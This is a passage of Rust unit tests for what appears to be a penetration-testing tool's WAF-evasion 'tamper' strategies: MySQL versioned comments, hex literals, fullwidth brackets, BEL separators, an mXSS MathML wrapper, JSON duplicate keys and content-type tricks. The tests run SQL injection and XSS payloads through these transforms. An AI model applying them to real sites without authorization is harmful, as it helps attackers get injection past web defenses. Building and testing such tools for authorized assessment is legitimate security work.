let _ = parts.next(); if let Some(tag) = parts.next() {
for c in tag.chars() {
letters.insert(c);
}
}
}
assert!(
letters.len() > 8,
"tag alphabet collapsed: only {} distinct letters across 200 payloads — \
pre-fix `& 25` permitted exactly 8. Saw: {letters:?}",
letters.len()
);
}
#[test]
fn postgres_dollar_quote_classic_sqli_payload() {
let strategy = PostgresDollarQuoteTamper;
let out = strategy.tamper("' OR '1'='1", None);
assert!(out.contains("$"));
}
#[test]
fn mysql_versioned_wrap_inserts_outer_comment() {
let strategy = MysqlVersionedCommentWrapTamper;
let out = strategy.tamper("UNION SELECT 1,2,3", None);
assert!(out.starts_with("/*!50000 "));
assert!(out.ends_with(" */"));
assert!(out.contains("UNION SELECT 1,2,3"));
}
#[test]
fn mysql_versioned_wrap_idempotent_double_apply() {
let strategy = MysqlVersionedCommentWrapTamper;
let once = strategy.tamper("SELECT 1", None);
let twice = strategy.tamper(&once, None);
assert!(twice.contains("SELECT 1"));
assert!(twice.starts_with("/*!50000 "));
}
#[test]
fn mysql_versioned_wrap_empty_input() {
let strategy = MysqlVersionedCommentWrapTamper;
assert_eq!(strategy.tamper("", None), "/*!50000 */");
}
#[test]
fn mysql_versioned_wrap_does_not_corrupt_special_chars() {
let strategy = MysqlVersionedCommentWrapTamper;
let out = strategy.tamper("'a\\b*c'", None);
assert!(out.contains("'a\\b*c'"));
}
#[test]
fn bracket_confusable_replaces_ascii_angle_brackets() {
let strategy = BracketConfusableTamper;
let out = strategy.tamper("<script>alert(1)</script>", None);
assert!(!out.contains('<'));
assert!(!out.contains('>'));
assert!(out.contains('\u{FF1C}'));
assert!(out.contains('\u{FF1E}'));
assert!(out.contains("alert(1)"));
assert!(out.contains("script"));
}
#[test]
fn bracket_confusable_preserves_non_bracket_chars() {
let strategy = BracketConfusableTamper;
let out = strategy.tamper("abc 123 !@#", None);
assert_eq!(out, "abc 123 !@#");
}
#[test]
fn bracket_confusable_handles_only_open_or_close() {
let strategy = BracketConfusableTamper;
assert_eq!(strategy.tamper("<", None), "\u{FF1C}");
assert_eq!(strategy.tamper(">", None), "\u{FF1E}");
assert_eq!(
strategy.tamper("<<>>", None),
"\u{FF1C}\u{FF1C}\u{FF1E}\u{FF1E}"
);
}
#[test]
fn bracket_confusable_empty() {
let strategy = BracketConfusableTamper;
assert_eq!(strategy.tamper("", None), "");
}
#[test]
fn bracket_confusable_aggressiveness_in_range() {
let strategy = BracketConfusableTamper;
let a = strategy.aggressiveness();
assert!((0.0..=1.0).contains(&a));
}
#[test]
fn all_new_tampers_registered_by_default() {
let registry = crate::tamper::TamperRegistry::with_defaults();
for name in [
"zero_width_inject",
"postgres_dollar_quote",
"mysql_versioned_comment_wrap",
"bracket_confusable",
"hex_literal_keyword",
"bell_separator",
] {
assert!(
registry.get(name).is_some(),
"tamper `{name}` missing from default registry"
);
}
}
#[test]
fn obsolete_keyword_comment_split_tamper_was_removed() {
let registry = crate::tamper::TamperRegistry::with_defaults();
assert!(
registry.get("keyword_comment_split").is_none(),
"keyword_comment_split was removed because the transform breaks SQL parsing — \
do not re-register without verifying MySQL/Postgres tokeniser semantics"
);
}
#[test]
fn hex_literal_keyword_converts_single_quoted_to_hex() {
let strategy = HexLiteralKeywordTamper;
let out = strategy.tamper("WHERE name = 'admin'", None);
assert!(!out.contains("'admin'"));
assert!(out.contains("0x"));
assert!(out.contains("0x61646d696e"));
}
#[test]
fn hex_literal_keyword_idempotent_when_no_quoted_literal() {
let strategy = HexLiteralKeywordTamper;
assert_eq!(strategy.tamper("SELECT 1", None), "SELECT 1");
assert_eq!(strategy.tamper("1=1", None), "1=1");
}
#[test]
fn hex_literal_keyword_handles_multiple_literals() {
let strategy = HexLiteralKeywordTamper;
let out = strategy.tamper("'a' OR 'b'", None);
assert!(out.contains("0x61"));
assert!(out.contains("0x62"));
assert!(out.contains("OR"));
}
#[test]
fn hex_literal_keyword_handles_doubled_quote_escape() {
let strategy = HexLiteralKeywordTamper;
let out = strategy.tamper("'a''b'", None);
assert!(out.contains("0x"));
}
#[test]
fn hex_literal_keyword_empty_literal() {
let strategy = HexLiteralKeywordTamper;
let out = strategy.tamper("''", None);
assert_eq!(out, "0x");
}
#[test]
fn hex_literal_keyword_preserves_non_quote_text() {
let strategy = HexLiteralKeywordTamper;
let out = strategy.tamper("LIMIT 10 OFFSET 5", None);
assert_eq!(out, "LIMIT 10 OFFSET 5");
}
#[test]
fn hex_literal_keyword_non_ascii_chars_encode_to_utf8_hex() {
let strategy = HexLiteralKeywordTamper;
let out = strategy.tamper("'é'", None);
assert!(out.contains("c3a9") || out.contains("C3A9"));
}
#[test]
fn bell_separator_replaces_space_with_bel() {
let strategy = BellSeparatorTamper;
assert_eq!(strategy.tamper("UNION SELECT", None), "UNION\u{0007}SELECT");
}
#[test]
fn bell_separator_leaves_tab_and_newline_alone() {
let strategy = BellSeparatorTamper;
let out = strategy.tamper("a\tb\nc", None);
assert!(out.contains('\t'));
assert!(out.contains('\n'));
assert!(!out.contains('\u{0007}'));
}
#[test]
fn bell_separator_multiple_spaces_each_become_bel() {
let strategy = BellSeparatorTamper;
let out = strategy.tamper("a b", None);
assert_eq!(out.matches('\u{0007}').count(), 3);
assert!(!out.contains(' '));
}
#[test]
fn bell_separator_empty_input() {
let strategy = BellSeparatorTamper;
assert_eq!(strategy.tamper("", None), "");
}
#[test]
fn bell_separator_no_space_unchanged() {
let strategy = BellSeparatorTamper;
assert_eq!(strategy.tamper("foo", None), "foo");
}
#[test]
fn bell_separator_classic_payload_round_trips_via_split() {
let strategy = BellSeparatorTamper;
let inputs = ["UNION SELECT 1", "OR 1=1 -- ", "<script>alert(1)</script>"];
for input in inputs {
let tampered = strategy.tamper(input, None);
let restored = tampered.replace('\u{0007}', " ");
assert_eq!(restored, input);
}
}
#[test]
fn all_new_tampers_have_unique_names() {
let names = [
ZeroWidthInjectTamper.name(),
PostgresDollarQuoteTamper.name(),
MysqlVersionedCommentWrapTamper.name(),
BracketConfusableTamper.name(),
MxssNamespaceWrapTamper.name(),
];
let set: std::collections::HashSet<&str> = names.iter().copied().collect();
assert_eq!(set.len(), names.len());
}
#[test]
fn mxss_namespace_wrap_emits_mathml_harness() {
let t = MxssNamespaceWrapTamper;
let out = t.tamper("onerror=alert(1)", None);
assert!(out.starts_with("<math>"), "missing MathML root: {out}");
assert!(
out.contains("<style><!--</style>"),
"missing comment-trick style close: {out}"
);
assert!(
out.contains("<img src=x onerror=alert(1)>"),
"payload missing: {out}"
);
}
#[test]
fn mxss_namespace_wrap_does_not_contain_literal_script_tag() {
let t = MxssNamespaceWrapTamper;
let out = t.tamper("onerror=fetch('/x')", None);
assert!(
!out.to_ascii_lowercase().contains("<script"),
"namespace wrap MUST NOT emit literal <script>: {out}"
);
}
#[test]
fn mxss_namespace_wrap_handles_empty_payload() {
let t = MxssNamespaceWrapTamper;
let out = t.tamper("", None);
assert!(
out.starts_with("<math>"),
"empty payload still produces harness: {out}"
);
assert!(
out.ends_with("<img src=x >"),
"empty payload yields bare <img>: {out}"
);
}
#[test]
fn mxss_namespace_wrap_aggressiveness_in_range() {
let a = MxssNamespaceWrapTamper.aggressiveness();
assert!((0.0..=1.0).contains(&a) && !a.is_nan());
}
#[test]
fn mxss_namespace_wrap_panic_safe_on_pathological_input() {
let t = MxssNamespaceWrapTamper;
let _ = t.tamper(&"A".repeat(1_000_000), None);
let _ = t.tamper("\0\x01\u{FFFD}\u{200B}", None);
}
#[test]
fn all_new_tampers_have_non_empty_descriptions() {
for strat in [
&ZeroWidthInjectTamper as &dyn TamperStrategy,
&PostgresDollarQuoteTamper,
&MysqlVersionedCommentWrapTamper,
&BracketConfusableTamper,
] {
assert!(
!strat.description().is_empty(),
"{} has empty description",
strat.name()
);
assert!(
strat.description().len() > 20,
"{} description too short",
strat.name()
);
}
}
#[test]
fn all_new_tampers_aggressiveness_in_range() {
for strat in [
&ZeroWidthInjectTamper as &dyn TamperStrategy,
&PostgresDollarQuoteTamper,
&MysqlVersionedCommentWrapTamper,
&BracketConfusableTamper,
] {
let a = strat.aggressiveness();
assert!(
(0.0..=1.0).contains(&a) && !a.is_nan(),
"{} aggressiveness {} out of [0, 1]",
strat.name(),
a
);
}
}
#[test]
fn all_new_tampers_handle_pathological_input_without_panic() {
let huge: String = "A".repeat(1_000_000);
let weird = "\0\x01\x02\x7f\u{FFFD}\u{200B}";
for strat in [
&ZeroWidthInjectTamper as &dyn TamperStrategy,
&PostgresDollarQuoteTamper,
&MysqlVersionedCommentWrapTamper,
&BracketConfusableTamper,
] {
let _ = strat.tamper("", None);
let _ = strat.tamper(&huge, None);
let _ = strat.tamper(weird, None);
}
}
#[test]
fn json_dup_key_emits_duplicate_q_envelope() {
let t = JsonDupKeyTamper;
let out = t.tamper("evil", None);
assert!(out.contains("\"q\":\"safe\""), "missing first key: {out}");
assert!(out.contains("\"q\":\"evil\""), "missing dup key: {out}");
assert!(out.starts_with('{') && out.ends_with('}'));
}
#[test]
fn json_dup_key_escapes_payload_quotes() {
let t = JsonDupKeyTamper;
let out = t.tamper("' OR 1=1--\"--", None);
assert!(
out.contains("OR 1=1--\\\"--"),
"payload `\"` not escaped: {out}"
);
let v: serde_json::Value = serde_json::from_str(&out)
.expect("envelope must be valid JSON even with escaped quote");
assert_eq!(v["q"].as_str(), Some("' OR 1=1--\"--"));
}
#[test]
fn json_dup_key_escapes_backslash_and_control_bytes() {
let t = JsonDupKeyTamper;
let out = t.tamper("a\\b\nc\rd\te\u{0007}f", None);
assert!(out.contains("a\\\\b"));
assert!(out.contains("\\n"));
assert!(out.contains("\\r"));
assert!(out.contains("\\t"));
assert!(out.contains("\\u0007"), "BEL not escaped to \\u0007: {out}");
let _: serde_json::Value = serde_json::from_str(&out).expect("valid JSON");
}
#[test]
fn json_dup_key_handles_empty_payload() {
let t = JsonDupKeyTamper;
let out = t.tamper("", None);
assert_eq!(out, "{\"q\":\"safe\",\"q\":\"\"}");
}
#[test]
fn json_dup_key_name_and_aggressiveness_within_bounds() {
let t = JsonDupKeyTamper;
assert_eq!(t.name(), "json_dup_key");
let a = t.aggressiveness();
assert!((0.0..=1.0).contains(&a), "aggressiveness out of range: {a}");
}
#[test]
fn json_dup_key_is_registered_in_default_registry() {
let registry = crate::tamper::TamperRegistry::with_defaults();
assert!(
registry.get("json_dup_key").is_some(),
"json_dup_key must be in TamperRegistry::with_defaults()"
);
}
#[test]
fn ct_starvation_wraps_body_context_in_form_pair() {
let t = CtStarvationTamper;
let out = t.tamper("' OR 1=1--", Some("body"));
assert_eq!(out, "q=' OR 1=1--");
}
#[test]
fn ct_starvation_handles_form_json_multipart_contexts() {
let t = CtStarvationTamper;
for ctx in ["body", "form", "json", "multipart"] {
assert_eq!(
t.tamper("X", Some(ctx)),
"q=X",
"context {ctx} must produce form-pair wrap"
);
}
}
#[test]
fn ct_starvation_is_no_op_for_header_and_query_contexts() {
let t = CtStarvationTamper;
assert_eq!(t.tamper("X", Some("header")), "X");
assert_eq!(t.tamper("X", Some("cookie")), "X");
assert_eq!(t.tamper("X", Some("query")), "X");
assert_eq!(t.tamper("X", None), "X");
}
#[test]
fn ct_starvation_header_for_returns_one_of_known_variants() {
const ALLOWED: &[&str] = &[
"APPLICATION/JSON",
"Application/Json",
"application/json; charset=ibm037",
"text/plain",
"application/x-www-form-urlencoded",
];
for p in ["a", "longer-payload", "' OR 1=1--", ""] {
let ct = ct_starvation_header_for(p);
assert!(
ALLOWED.contains(&ct),
"header for {p:?} not in known-effective set: {ct}"
);
}
}
#[test]
fn ct_starvation_header_for_is_stable_per_payload() {
for p in ["x", "very long payload bytes here"] {
let a = ct_starvation_header_for(p);
let b = ct_starvation_header_for(p);
assert_eq!(a, b, "ct_starvation_header_for not stable for {p:?}");
}
}
#[test]
fn ct_starvation_is_registered_in_default_registry() {
let registry = crate::tamper::TamperRegistry::with_defaults();
assert!(
registry.get("ct_starvation").is_some(),
"ct_starvation must be in TamperRegistry::with_defaults()"
);
}
#[test]
fn json_escape_string_matches_serde_json_for_unicode() {
for raw in ["plain ASCII", "café", "日本語", "🔥"] {
let ours = json_escape_string(raw);
let wrapped = format!("\"{ours}\"");
let parsed: String = serde_json::from_str(&wrapped)
.unwrap_or_else(|e| panic!("our escape of {raw:?} fails JSON parse: {e}"));
assert_eq!(parsed, raw);
}
}
}